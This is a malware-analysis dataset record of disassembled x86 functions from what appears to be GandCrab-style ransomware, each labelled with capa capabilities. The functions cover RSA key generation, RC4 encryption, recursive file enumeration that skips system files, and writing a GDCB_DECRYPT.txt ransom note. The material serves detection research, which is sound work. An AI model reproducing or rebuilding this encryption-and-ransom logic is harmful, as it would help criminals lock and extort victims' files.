joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405540
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x4c02
push 0
mov esi, edx
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x405576
lea ebx, [eax + 0x800]
mov edi, eax
jmp 0x40557a
xor edi, edi
xor ebx, ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
push dword [ebp - 8]
push str.actionresulte_files_de_size_I64ue_time_d
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [ebp - 0xb0]
call fcn.004039b0
lea ecx, [ebp - 0xb0]
call fcn.00406d90
lea ecx, [ebp - 0xb0]
call fcn.00406ba0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [ebp - 0xb0]
lea eax, [edi + eax*2]
push eax
call fcn.004069a0
push edi
call esi
mov ecx, dword [0x410130]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [ebp - 0x1af]
mov dword [ebp - 0x18], ecx
mov cx, word [0x410134]
push 0xff
mov word [ebp - 0x14], cx
mov cl, byte [0x410136]
push 0
push eax
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x1b0], 0
call fcn.00408b30
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.00405c40
mov edx, dword [ebp - 4]
lea esi, [edi + edi]
add esp, 4
lea ecx, [ebp - 0x1b0]
push esi
call fcn.00405cf0
add esp, 4
lea eax, [edi*8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x40000001
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x405692
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
push 0x40
push 0x3000
lea esi, [eax + 4]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov dword [ebp - 8], eax
call edi
mov ecx, dword [ebp - 8]
add eax, 2
test ecx, ecx
je 0x4056c5
mov dword [ebp - 4], ecx
cmp eax, esi
jb 0x4056cc
mov dword [ebp - 4], 0
push ebx
xor esi, esi
call edi
test eax, eax
je 0x4056f2
mov edi, dword [ebp - 4]
mov al, byte [esi + ebx]
cmp al, 0xa
je 0x4056e6
cmp al, 0xd
je 0x4056e6
mov byte [edi], al
inc edi
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jb 0x4056d8
mov ecx, dword [ebp - 4]
xor edx, edx
push 0
call fcn.00405370
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
test eax, eax
mov ecx, 1
mov ebx, 0
cmovne ebx, ecx
push 0x8000
push 0
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0xb0]
call fcn.00407720
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405c40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x10f]
mov dword [ebp - 0x10], edi
mov ebx, ecx
mov byte [ebp - 0x110], 0
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.00408b30
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x110]
add esp, 0xc
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea esi, [ebp - 0x110]
xor edx, edx
add esi, ecx
div dword [ebp + 8]
mov byte [ebx + esi], cl
inc ecx
mov al, byte [edx + edi]
mov byte [esi], al
cmp ecx, 0x100
jl 0x405c82
mov esi, dword [ebp - 8]
lea ebx, [ebp - 0x110]
mov edi, dword [ebp - 0x10]
sub ebx, esi
mov dword [ebp - 4], 0x100
mov dl, byte [esi]
movsx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x405cd4
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 8]
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
dec dword [ebp - 4]
mov byte [edi + ecx], dl
jne 0x405cb7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405cf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [ebp - 4], ecx
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0x405d72
lea ebx, [ebx]
inc esi
and esi, 0x800000ff
jns 0x405d21
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + ecx]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x405d39
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
mov byte [esi + ecx], al
mov byte [edi + ecx], dl
movzx ecx, byte [esi + ecx]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x405d5c
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [ebp - 4]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 8]
xor byte [ebx + ecx], al
inc ebx
mov ecx, dword [ebp - 4]
cmp ebx, dword [ebp + 8]
jb 0x405d10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405d80
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x405dd5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x405dce
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x405dcc
xor eax, eax
jmp 0x405e59
jmp 0x405dd5
xor eax, eax
jmp 0x405e59
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x405df2
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x406000
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x412ae8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x40606e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x406067
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x406065
xor eax, eax
jmp 0x40610c
jmp 0x40606e
xor eax, eax
jmp 0x40610c
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x4060f2
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0x4060f2
mov ecx, dword [ebp - 0x14]
call fcn.004034f0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x412ae8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x406110
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, str.ProgramData_
mov ecx, edi
mov esi, eax
call fcn.00407ba0
test eax, eax
jne 0x406228
mov edx, str.Program_Files_
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
mov edx, str.Tor_Browser_
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
mov edx, str.Ransomware
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
mov edx, str.All_Users_
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
mov edx, str.Local_Settings_
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push esi
push eax
call ebx
test eax, eax
je 0x4061c1
mov edx, esi
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
push 0
push 0x2b
push esi
push 0
call ebx
test eax, eax
je 0x4061db
mov edx, esi
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
push 0
push 0x24
push esi
push 0
call ebx
test eax, eax
je 0x4061f5
mov edx, esi
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
push 0
push 0x1c
push esi
push 0
call ebx
test eax, eax
je 0x40620f
mov edx, esi
mov ecx, edi
call fcn.00407ba0
test eax, eax
jne 0x406228
push 0x8000
push 0
push esi
mov edi, 1
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
ret
push 0x8000
xor edi, edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x406240
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x40626e
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x40626e
test ebx, ebx
jne 0x406260
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x40628c
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x406283
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x406283
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x406283
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x406283
push str.boot.ini
push esi
call edi
test eax, eax
je 0x406283
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x406283
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x406283
push str.GDCB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0x4063b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x400
push 0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push 0x410330
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.00406300
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test eax, eax
je 0x40640f
cmp dword [edi + 0x20], 0xa
jb 0x40640f
mov ecx, ebx
call fcn.00406240
test eax, eax
je 0x40642e
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, ebx
call fcn.004035e0
mov edi, eax
mov esi, edx
jmp 0x406415
Function at 0x4064a0
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x410364
push esi
lea ebx, [esi + eax*2]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebx], ax
xor ebx, ebx
jmp 0x4064f0
push 0x410368
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x406612
push 0x41036c
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x406612
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax - 1]
lea ecx, [esi + ecx*2]
test eax, eax
je 0x406608
nop
cmp word [ecx], 0x2e
je 0x40654c
sub ecx, 2
dec eax
jne 0x406540
test eax, eax
je 0x406608
push str..sql
push ecx
call edi
test eax, eax
jne 0x406608
push eax
push eax
push 3
push eax
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, 0x40000000
jae 0x4065f2
push 4
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4065ef
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4065e1
mov edx, str.
mov ecx, esi
call fcn.00407c10
test eax, eax
je 0x4065e1
push str.
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esi + 1]
add ecx, eax
call fcn.00406440
mov dword [ebp - 8], eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0x40662a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
jmp 0x40660a
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4064f0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406640
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40669e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x4066d0
mov eax, dword [0x412b04]
test eax, eax
je 0x4066c4
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x412b04]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4066f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.00406110
test eax, eax
je 0x406834
mov ecx, edi
call fcn.004064a0
test eax, eax
jne 0x406834
call fcn.00406640
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x410364
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x406764
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x406770
push 0x410368
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406813
push 0x41036c
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406813
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x4067d1
push 0x41039c
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004066f0
add esp, 0xc
jmp 0x40680b
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.004063b0
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x406805
jb 0x406800
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x406805
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406770
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4068f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.004077f0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x4103ac
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x40ff24
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x4103b0
push 0x4103b4
call fcn.00407a00
test eax, eax
je 0x406971
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x406971
push esi
push 0x40ff64
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40698d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x4069a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x4069dc
push dword [ebx + 0x88]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx], 0
je 0x4069fd
push dword [ebx + 4]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0x406a1f
push dword [ebx + 0x10]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0x406a41
push dword [ebx + 0x1c]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0x406a63
push dword [ebx + 0x28]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0x406a85
push dword [ebx + 0x34]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0x406aa7
push dword [ebx + 0x40]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0x406ac9
push dword [ebx + 0x4c]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0x406aeb
push dword [ebx + 0x58]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0x4103f4
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0x406b5c
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0x406b21
push dword [ebx + 0x70]
push ecx
push 0x4103f8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x406b30
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0x4103f4
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0x406b7e
push dword [ebx + 0x78]
push esi
call edi
push 0x4103f0
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0x4103f4
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x406d10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x406d7e
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406d66
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18